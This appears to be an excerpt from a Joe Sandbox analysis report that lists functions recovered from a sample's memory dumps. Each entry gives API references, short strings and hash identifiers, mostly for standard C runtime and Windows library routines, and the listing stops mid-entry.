Associated: 00000000.00000002.2160407064.0000000000EE8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160429654.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160447933.0000000000EF3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160467900.0000000000EF5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160486409.0000000000EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160515823.0000000000EFA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_8ZVMneG.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 8e0f97e4647312b9ceead5f539edeb0fd48669250f67cc87fd716c991951b375
Instruction ID: 79c67752e7e65f0f33c240ac6a1da9fb479f307a2a72fbd005ccc54760f5ceb0
Opcode Fuzzy Hash: 8e0f97e4647312b9ceead5f539edeb0fd48669250f67cc87fd716c991951b375
Instruction Fuzzy Hash: CDB14672A003959FDB118F68CC81BEEBBA5EF55314F1C5176E904BB382D2759A02C7A2

Function 00ECCBA0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 130COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00ECCBD7
___except_validate_context_record.LIBVCRUNTIME ref: 00ECCBDF
_ValidateLocalCookies.LIBCMT ref: 00ECCC68
__IsNonwritableInCurrentImage.LIBCMT ref: 00ECCC93
_ValidateLocalCookies.LIBCMT ref: 00ECCCE8

Strings

csm, xrefs: 00ECCC7D

Memory Dump Source

Source File: 00000000.00000002.2160373649.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2160345994.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160407064.0000000000EE8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160429654.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160447933.0000000000EF3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160467900.0000000000EF5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160486409.0000000000EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160515823.0000000000EFA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_8ZVMneG.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 01b9751d4fd2f1fc27fef68d9e754a262130e4603ebd2614c5b81025bd7243a3
Instruction ID: 952864af9ac2fdcca251d0e280a4abc91446d0c9115a44fc0b0b93681b622a3a
Opcode Fuzzy Hash: 01b9751d4fd2f1fc27fef68d9e754a262130e4603ebd2614c5b81025bd7243a3
Instruction Fuzzy Hash: E741C330A002189BCB14DF69C981F9EBBE1EF45314F249159E81DBB352D7329A47CB91

Function 00ECBB07 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 116threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00ECBB1B
AcquireSRWLockExclusive.KERNEL32(?,?,00000000,00EE7328,000000FF,?,00EC892E), ref: 00ECBB3A
AcquireSRWLockExclusive.KERNEL32(?,?,?,?,00000000,00EE7328,000000FF,?,00EC892E), ref: 00ECBB68
TryAcquireSRWLockExclusive.KERNEL32(?,?,?,?,00000000,00EE7328,000000FF,?,00EC892E), ref: 00ECBBC3
TryAcquireSRWLockExclusive.KERNEL32(?,?,?,?,00000000,00EE7328,000000FF,?,00EC892E), ref: 00ECBBDA

Strings

(s, xrefs: 00ECBB94

Memory Dump Source

Source File: 00000000.00000002.2160373649.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2160345994.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160407064.0000000000EE8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160429654.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160447933.0000000000EF3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160467900.0000000000EF5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160486409.0000000000EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160515823.0000000000EFA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_8ZVMneG.jbxd

Similarity

API ID: AcquireExclusiveLock$CurrentThread
String ID: (s
API String ID: 66001078-975861361
Opcode ID: 129504b57bce177ef5e99c910deff0a945ad710543ccc2b3227d2884fcb298cf
Instruction ID: 94e7163b6567e51111c7f1915604823b15086816f85ea2489b8becac689c963c
Opcode Fuzzy Hash: 129504b57bce177ef5e99c910deff0a945ad710543ccc2b3227d2884fcb298cf
Instruction Fuzzy Hash: 6E41243090060ADFCB20DF65C682EAAF3E4EB44314F10596EE456A7654D732A986CB51

Function 00EF5C74 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 63registrywindowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00EF5CD4
RegisterClassW.USER32 ref: 00EF5CEC
GetMessageW.USER32 ref: 00EF5D41

Strings

Z, xrefs: 00EF5D5E
(, xrefs: 00EF5C9D
Melon, xrefs: 00EF5CAA

Memory Dump Source

Source File: 00000000.00000002.2160467900.0000000000EF5000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2160345994.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160373649.0000000000EC1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160407064.0000000000EE8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160429654.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160447933.0000000000EF3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160486409.0000000000EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160515823.0000000000EFA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_8ZVMneG.jbxd

Similarity

API ID: ClassHandleMessageModuleRegister
String ID: ($Melon$Z
API String ID: 1585107554-3138928526
Opcode ID: 7e98c2c8e981332dd0d001387cefc6b22843ec89c77192ae5248fd1c9798e86a
Instruction ID: 34eb792b3045beabb2a316b12ad6307e0cd064ea2cd061c0b99f69f6f571a699
Opcode Fuzzy Hash: 7e98c2c8e981332dd0d001387cefc6b22843ec89c77192ae5248fd1c9798e86a
Instruction Fuzzy Hash: 5621C8B1905208DFDB44DFA8D5897AEBBF0BF88304F11882EE449EB254E7759948CB42

Function 00ECBEDC Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00ECBEE2
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 00ECBEF0
GetProcAddress.KERNEL32(00000000,GetTempPath2W), ref: 00ECBF01

Strings

GetTempPath2W, xrefs: 00ECBEF6
kernel32.dll, xrefs: 00ECBEDD
GetSystemTimePreciseAsFileTime, xrefs: 00ECBEEA

Memory Dump Source

Source File: 00000000.00000002.2160373649.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2160345994.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160407064.0000000000EE8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160429654.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160447933.0000000000EF3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160467900.0000000000EF5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160486409.0000000000EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160515823.0000000000EFA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_8ZVMneG.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: GetSystemTimePreciseAsFileTime$GetTempPath2W$kernel32.dll
API String ID: 667068680-1047828073
Opcode ID: 8393424676c3392d0f6ee1a19c60452009682470be79533b4cc8c69603657fb5
Instruction ID: e6f67c25b4bc476f9b084fcc7585ab54226df19fc6533a2d2362dec9db6c1c69
Opcode Fuzzy Hash: 8393424676c3392d0f6ee1a19c60452009682470be79533b4cc8c69603657fb5
Instruction Fuzzy Hash: 10D0A7756063986F93005F737C0C8763FA4DFC43003014112F800F3222F2B05604CB50

Function 00EDFF39 Relevance: 9.3, APIs: 6, Instructions: 292COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2160373649.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2160345994.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160407064.0000000000EE8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160429654.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160447933.0000000000EF3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160467900.0000000000EF5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160486409.0000000000EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160515823.0000000000EFA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_8ZVMneG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 004b9e1b480a18b37fe7a99cffea481ccda5990e3e9c650d887b91d8b1f9e0f6
Instruction ID: 654ca8a0ae61b83ab0566c89ea852e82e938eb2f64c6237b969a1a07621c744f
Opcode Fuzzy Hash: 004b9e1b480a18b37fe7a99cffea481ccda5990e3e9c650d887b91d8b1f9e0f6
Instruction Fuzzy Hash: ECB10770A0428DAFDB12DFAAC880BBE7BF0EF49314F145159E5457B392C7B09982CB51

Function 00ED6112 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00ED6109,00ECC977,00ECB7A5), ref: 00ED6120
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00ED612E
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00ED6147
SetLastError.KERNEL32(00000000,00ED6109,00ECC977,00ECB7A5), ref: 00ED6199

Memory Dump Source

Source File: 00000000.00000002.2160373649.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2160345994.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160407064.0000000000EE8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160429654.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160447933.0000000000EF3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160467900.0000000000EF5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160486409.0000000000EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160515823.0000000000EFA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_8ZVMneG.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 535576f04da25489b1a14992b0f548f0e667612ee2a6d0650b1704cf107d10a1
Instruction ID: 35a55c3ea98f1185780de737da31d0b44ecbaeee5a2c36ca82bae82c377a23c5
Opcode Fuzzy Hash: 535576f04da25489b1a14992b0f548f0e667612ee2a6d0650b1704cf107d10a1
Instruction Fuzzy Hash: 8A01283211AB115EA63517766C8597726E4EB65379320222FF128753F2EF210C5AD140

Function 00ED69DA Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 301COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00ED6AF9
CallUnexpected.LIBVCRUNTIME ref: 00ED6D72

Strings

csm, xrefs: 00ED6A17
csm, xrefs: 00ED6B30
csm, xrefs: 00ED6A84

Memory Dump Source

Source File: 00000000.00000002.2160373649.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2160345994.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160407064.0000000000EE8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160429654.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160447933.0000000000EF3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160467900.0000000000EF5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160486409.0000000000EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160515823.0000000000EFA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_8ZVMneG.jbxd

Similarity

API ID: CallUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 2673424686-393685449
Opcode ID: 2a96f96bb2aa1d799cd8e27bbaf790b6e80780aa38ca5c28ab9a2cadf2709aa0
Instruction ID: 72d324495ae50eb718c5bebf3a8c62b76cdd9ca0e9cfa05812fab0a2d4fb5611
Opcode Fuzzy Hash: 2a96f96bb2aa1d799cd8e27bbaf790b6e80780aa38ca5c28ab9a2cadf2709aa0
Instruction Fuzzy Hash: A3B18871900209EFCF18EFA4D9819AEBBB5FF08304B10645BE815BB312D731EA52CB91

Function 00ED139D Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,A38A0892,?,?,00000000,00EE7345,000000FF,?,00ED145E,00000002,?,00ED14FA,00ED415D), ref: 00ED13D2
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00ED13E4
FreeLibrary.KERNEL32(00000000,?,?,00000000,00EE7345,000000FF,?,00ED145E,00000002,?,00ED14FA,00ED415D), ref: 00ED1406

Strings

mscoree.dll, xrefs: 00ED13CB
CorExitProcess, xrefs: 00ED13DC

Memory Dump Source

Source File: 00000000.00000002.2160373649.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2160345994.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160407064.0000000000EE8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160429654.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160447933.0000000000EF3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160467900.0000000000EF5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160486409.0000000000EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160515823.0000000000EFA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_8ZVMneG.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 6e353ab51ab7ad69959b02caed46da3d1a77115a60bbfdc8598f0d6395e1ac57
Instruction ID: 019e1730edfe5f56bf7365fc650abc6201682c9e6b73acdbf8be6cd49ecb3f1e
Opcode Fuzzy Hash: 6e353ab51ab7ad69959b02caed46da3d1a77115a60bbfdc8598f0d6395e1ac57
Instruction Fuzzy Hash: 74018F31904659AFDB159B51CC09FBEBBB8FB84B14F00422AF811B2691DB749904CA80

Function 00ED8B36 Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00ED8BBB
__alloca_probe_16.LIBCMT ref: 00ED8C84
__freea.LIBCMT ref: 00ED8CEB

Part of subcall function 00ED7381: RtlAllocateHeap.NTDLL(00000000,00ED935A,?,?,00ED935A,00000220,?,00000001,?), ref: 00ED73B3

__freea.LIBCMT ref: 00ED8CFE
__freea.LIBCMT ref: 00ED8D0B

Memory Dump Source

Source File: 00000000.00000002.2160373649.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2160345994.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160407064.0000000000EE8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160429654.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160447933.0000000000EF3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160467900.0000000000EF5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160486409.0000000000EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160515823.0000000000EFA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_8ZVMneG.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: aaf525e92f08ccca2bca67c1d930c1f409cf26c1a8e7a3e60a5f8d35452e4aa9
Instruction ID: 02c415675bf1c7487bb4498395dc4d1690f33078681255dd8b0b27e72e9b8a3d
Opcode Fuzzy Hash: aaf525e92f08ccca2bca67c1d930c1f409cf26c1a8e7a3e60a5f8d35452e4aa9
Instruction Fuzzy Hash: F051A272611206AFEB215F61CE42EBB7AAEEF54714F25142AFD04F6381EF31DC129660

Function 00EC94BF Relevance: 7.5, APIs: 5, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00EC94C6
std::_Lockit::_Lockit.LIBCPMT ref: 00EC94D1
std::_Lockit::~_Lockit.LIBCPMT ref: 00EC953F

Part of subcall function 00EC93C8: std::locale::_Locimp::_Locimp.LIBCPMT ref: 00EC93E0

std::locale::_Setgloballocale.LIBCPMT ref: 00EC94EC
_Yarn.LIBCPMT ref: 00EC9502

Memory Dump Source

Source File: 00000000.00000002.2160373649.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2160345994.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160407064.0000000000EE8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160429654.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160447933.0000000000EF3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160467900.0000000000EF5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160486409.0000000000EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160515823.0000000000EFA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_8ZVMneG.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 1088826258-0
Opcode ID: a50bce4b115d80a511112ed45c2009574a752749a08d054c11ec917a28732eed
Instruction ID: cbe599f8991c1654dc076714abe59b02939522d981eafdcf5651c1842c3acd8b
Opcode Fuzzy Hash: a50bce4b115d80a511112ed45c2009574a752749a08d054c11ec917a28732eed
Instruction Fuzzy Hash: B701BC75A012519FC70AEB21DA4AA7C7BA1BFC4350B16100CE801B7382CB35AF47CB81

Function 00EE1BB1 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,00EE1C4D,00000000,?,00EF40C8,?,?,?,00EE1B84,00000004,InitializeCriticalSectionEx,00EEB2A4,00EEB2AC), ref: 00EE1BBE
GetLastError.KERNEL32(?,00EE1C4D,00000000,?,00EF40C8,?,?,?,00EE1B84,00000004,InitializeCriticalSectionEx,00EEB2A4,00EEB2AC,00000000,?,00ED702C), ref: 00EE1BC8
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 00EE1BF0

Strings

api-ms-, xrefs: 00EE1BD5

Memory Dump Source

Source File: 00000000.00000002.2160373649.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2160345994.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160407064.0000000000EE8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160429654.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160447933.0000000000EF3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160467900.0000000000EF5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160486409.0000000000EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160515823.0000000000EFA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_8ZVMneG.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: abe0d1c9f09e863dff80438ed1434499166081d1a082b258459391706f8c5645
Instruction ID: c58998ee74210474e7510b36ce835fd38595e691329f6239349ec2a47d49640a
Opcode Fuzzy Hash: abe0d1c9f09e863dff80438ed1434499166081d1a082b258459391706f8c5645
Instruction Fuzzy Hash: DEE01A3068428DFBEB101BA2EC06F293B58AB94B45F145060F90CB80A2FBB199959684

Function 00EDF309 Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(A38A0892,00000000,00000000,?), ref: 00EDF36C

Part of subcall function 00ED7491: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00ED8CE1,?,00000000,-00000008), ref: 00ED74F2

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00EDF5BE
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00EDF604
GetLastError.KERNEL32 ref: 00EDF6A7

Memory Dump Source

Source File: 00000000.00000002.2160373649.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2160345994.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160407064.0000000000EE8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160429654.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160447933.0000000000EF3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160467900.0000000000EF5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160486409.0000000000EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160515823.0000000000EFA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_8ZVMneG.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 838c9274e1b6fdfdac9e2db9aeded13f77529d690ec4a2c556d5ccb9fc26e239
Instruction ID: 15f8eda0827bcd91548bfc4bdde20d3b15117a5b0439552c22db9d769cdf6772
Opcode Fuzzy Hash: 838c9274e1b6fdfdac9e2db9aeded13f77529d690ec4a2c556d5ccb9fc26e239
Instruction Fuzzy Hash: E3D15BB5D002489FCB15CFA8D8809EDBBF5EF49314F28516AE866FB361D630E946CB50

Function 00ED6701 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00ED67C8
___AdjustPointer.LIBCMT ref: 00ED67EB
___AdjustPointer.LIBCMT ref: 00ED6887

Memory Dump Source

Source File: 00000000.00000002.2160373649.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2160345994.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160407064.0000000000EE8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160429654.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160447933.0000000000EF3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160467900.0000000000EF5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160486409.0000000000EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160515823.0000000000EFA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_8ZVMneG.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: aaaf30060a30b50657509f90ea2ed1e5c83d99b42512320c9ba9e4167de977df
Instruction ID: 25170693436454574e43debeeea99477216b73696dad3bb4b4a00726167a0be7
Opcode Fuzzy Hash: aaaf30060a30b50657509f90ea2ed1e5c83d99b42512320c9ba9e4167de977df
Instruction Fuzzy Hash: E4510279A006069FEB288F50C941BBAB7B4EF54718F24552FE805B73A1E732EC42D790

Function 00EDD135 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 00ED7491: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00ED8CE1,?,00000000,-00000008), ref: 00ED74F2

GetLastError.KERNEL32(00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000), ref: 00EDD199
__dosmaperr.LIBCMT ref: 00EDD1A0
GetLastError.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000), ref: 00EDD1DA
__dosmaperr.LIBCMT ref: 00EDD1E1

Memory Dump Source

Source File: 00000000.00000002.2160373649.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2160345994.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160407064.0000000000EE8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160429654.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160447933.0000000000EF3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160467900.0000000000EF5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160486409.0000000000EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160515823.0000000000EFA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_8ZVMneG.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 0a77cd9fb4c9948a7dba218f0058ab721715d8ef4dc17964d12b40b6719d9018
Instruction ID: efecc5e844cbc9b1ecf4b1e6e24f1d9a28fbef722fabbc74f2ac51158c5fbdb9
Opcode Fuzzy Hash: 0a77cd9fb4c9948a7dba218f0058ab721715d8ef4dc17964d12b40b6719d9018
Instruction Fuzzy Hash: 0221B372609215BF9B21AF768C8096AB7E9EF44368710951AF829B7341DB35EC42CB90

Function 00ECEA02 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2160373649.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2160345994.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
